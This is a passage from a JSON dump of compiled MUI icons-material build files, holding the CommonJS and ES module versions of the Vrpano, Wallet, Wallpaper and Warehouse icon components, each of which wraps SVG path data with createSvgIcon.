    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.17 10.99-3.69 4.42c2-.26 4.18-.41 6.52-.41 2.3 0 4.52.15 6.51.4L14 10l-2.83 3.39z\"\n}, \"1\")], 'VrpanoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.17 10.99-3.69 4.42c2-.26 4.18-.41 6.52-.41 2.3 0 4.52.15 6.51.4L14 10l-2.83 3.39z\"\n}, \"1\")], 'VrpanoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.69 4.05C18.66 4.73 15.86 5.5 12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.16-1.31-.95m-3.41 11.21C15.62 15.1 13.84 15 12 15c-1.87 0-3.63.1-5.28.27-.45.04-.72-.48-.43-.82l2.5-3c.2-.24.57-.24.77 0l1.62 1.94 2.44-2.93c.2-.24.57-.24.77 0l3.32 3.99c.28.34.01.86-.43.81\"\n}), 'VrpanoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.69 4.05C18.66 4.73 15.86 5.5 12 5.5c-3.89 0-6.95-.84-8.69-1.43-.64-.22-1.31.26-1.31.95V19c0 .68.66 1.17 1.31.95C5.36 19.26 8.1 18.5 12 18.5c3.87 0 6.66.76 8.69 1.45.65.21 1.31-.27 1.31-.95V5c0-.68-.66-1.16-1.31-.95m-3.41 11.21C15.62 15.1 13.84 15 12 15c-1.87 0-3.63.1-5.28.27-.45.04-.72-.48-.43-.82l2.5-3c.2-.24.57-.24.77 0l1.62 1.94 2.44-2.93c.2-.24.57-.24.77 0l3.32 3.99c.28.34.01.86-.43.81\"\n}), 'VrpanoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 5.5c-5.25 0-9.01-1.54-10-1.92V20.4c2.16-.76 5.21-1.9 10-1.9 4.78 0 7.91 1.17 10 1.9V3.6c-2.09.73-5.23 1.9-10 1.9m0 9.5c-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10l4.51 5.4c-1.99-.25-4.21-.4-6.51-.4\"\n}), 'VrpanoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 5.5c-5.25 0-9.01-1.54-10-1.92V20.4c2.16-.76 5.21-1.9 10-1.9 4.78 0 7.91 1.17 10 1.9V3.6c-2.09.73-5.23 1.9-10 1.9m0 9.5c-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10l4.51 5.4c-1.99-.25-4.21-.4-6.51-.4\"\n}), 'VrpanoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6.38v11.25c2.01-.59 4.61-1.13 8-1.13 3.38 0 5.99.54 8 1.13V6.37c-2.01.59-4.62 1.13-8 1.13-2.68 0-5.42-.39-8-1.12m14.51 9.02c-1.99-.25-4.21-.4-6.51-.4-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.17 10.99-3.69 4.42c2-.26 4.18-.41 6.52-.41 2.3 0 4.52.15 6.51.4L14 10l-2.83 3.39z\"\n}, \"2\")], 'VrpanoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/VrpanoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6.38v11.25c2.01-.59 4.61-1.13 8-1.13 3.38 0 5.99.54 8 1.13V6.37c-2.01.59-4.62 1.13-8 1.13-2.68 0-5.42-.39-8-1.12m14.51 9.02c-1.99-.25-4.21-.4-6.51-.4-2.34 0-4.52.15-6.52.41l3.69-4.42 2 2.4L14 10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.01 4C20.45 4 17.4 5.5 12 5.5c-5.31 0-8.49-1.49-9.01-1.49-.53 0-.99.44-.99 1.01V19c0 .57.46 1 .99 1 .57 0 3.55-1.5 9.01-1.5 5.42 0 8.44 1.5 9.01 1.5.53 0 .99-.43.99-1V5c0-.57-.46-1-.99-1M20 17.63c-2.01-.59-4.62-1.13-8-1.13-3.39 0-5.99.54-8 1.13V6.38c2.58.73 5.32 1.12 8 1.12 3.38 0 5.99-.54 8-1.13z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.17 10.99-3.69 4.42c2-.26 4.18-.41 6.52-.41 2.3 0 4.52.15 6.51.4L14 10l-2.83 3.39z\"\n}, \"2\")], 'VrpanoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wallet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'Wallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wallet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'Wallet');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'WalletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'WalletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'WalletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM6 6h12c1.1 0 2 .9 2 2v.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2\"\n}), 'WalletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zm-6.25 10.09L4 11.22V10h16v.53zM4 6h16v2H4z\"\n}), 'WalletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zm-6.25 10.09L4 11.22V10h16v.53zM4 6h16v2H4z\"\n}), 'WalletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 10H6c-.84 0-1.55.52-1.85 1.25l11.11 2.72c.31.08.64 0 .88-.2l3.49-2.92c-.37-.51-.96-.85-1.63-.85m0-4H6c-1.1 0-2 .9-2 2v.55C4.59 8.21 5.27 8 6 8h12c.73 0 1.41.21 2 .55V8c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM20 8.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'WalletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WalletTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 10H6c-.84 0-1.55.52-1.85 1.25l11.11 2.72c.31.08.64 0 .88-.2l3.49-2.92c-.37-.51-.96-.85-1.63-.85m0-4H6c-1.1 0-2 .9-2 2v.55C4.59 8.21 5.27 8 6 8h12c.73 0 1.41.21 2 .55V8c0-1.1-.9-2-2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6C3.79 4 2 5.79 2 8v8c0 2.21 1.79 4 4 4h12c2.21 0 4-1.79 4-4V8c0-2.21-1.79-4-4-4m-1.86 9.77c-.24.2-.57.28-.88.2L4.15 11.25C4.45 10.52 5.16 10 6 10h12c.67 0 1.26.34 1.63.84zM20 8.55c-.59-.34-1.27-.55-2-.55H6c-.73 0-1.41.21-2 .55V8c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2z\"\n}, \"1\")], 'WalletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wallpaper.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'Wallpaper');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wallpaper.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'Wallpaper');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'WallpaperOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'WallpaperOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v6c0 .55.45 1 1 1s1-.45 1-1zm5.61 8.49-2.96 3.7c-.26.33-.03.81.39.81H17c.41 0 .65-.47.4-.8l-2-2.67c-.2-.27-.6-.27-.8 0l-1.63 2.18-2.58-3.22c-.2-.25-.58-.25-.78 0M17 8.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-6c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1 .45 1 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-1.1-.9-2-2-2m0 17c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1zM3 13c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h6c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1v-5c0-.55-.45-1-1-1\"\n}), 'WallpaperRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5c0-.55.45-1 1-1h5c.55 0 1-.45 1-1s-.45-1-1-1H4c-1.1 0-2 .9-2 2v6c0 .55.45 1 1 1s1-.45 1-1zm5.61 8.49-2.96 3.7c-.26.33-.03.81.39.81H17c.41 0 .65-.47.4-.8l-2-2.67c-.2-.27-.6-.27-.8 0l-1.63 2.18-2.58-3.22c-.2-.25-.58-.25-.78 0M17 8.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-6c-.55 0-1 .45-1 1s.45 1 1 1h5c.55 0 1 .45 1 1v5c0 .55.45 1 1 1s1-.45 1-1V4c0-1.1-.9-2-2-2m0 17c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2v-6c0-.55-.45-1-1-1s-1 .45-1 1zM3 13c-.55 0-1 .45-1 1v6c0 1.1.9 2 2 2h6c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1v-5c0-.55-.45-1-1-1\"\n}), 'WallpaperRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h7V2H2v9h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M22 2h-9v2h7v7h2zm-2 18h-7v2h9v-9h-2zM4 13H2v9h9v-2H4z\"\n}), 'WallpaperSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h7V2H2v9h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M22 2h-9v2h7v7h2zm-2 18h-7v2h9v-9h-2zM4 13H2v9h9v-2H4z\"\n}), 'WallpaperSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'WallpaperTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WallpaperTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 4h7V2H4c-1.1 0-2 .9-2 2v7h2zm6 9-4 5h12l-3-4-2.03 2.71zm7-4.5c0-.83-.67-1.5-1.5-1.5S14 7.67 14 8.5s.67 1.5 1.5 1.5S17 9.33 17 8.5M20 2h-7v2h7v7h2V4c0-1.1-.9-2-2-2m0 18h-7v2h7c1.1 0 2-.9 2-2v-7h-2zM4 13H2v7c0 1.1.9 2 2 2h7v-2H4z\"\n}), 'WallpaperTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Warehouse.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 21V7L12 3 2 7v14h5v-9h10v9zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'Warehouse');"
  },
  {
    "path": "packages/mui-icons-material/lib/Warehouse.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 21V7L12 3 2 7v14h5v-9h10v9zm-11-2H9v2h2zm2-3h-2v2h2zm2 3h-2v2h2z\"\n}), 'Warehouse');"
  },
  {
    "path": "packages/mui-icons-material/lib/WarehouseOutlined.js",
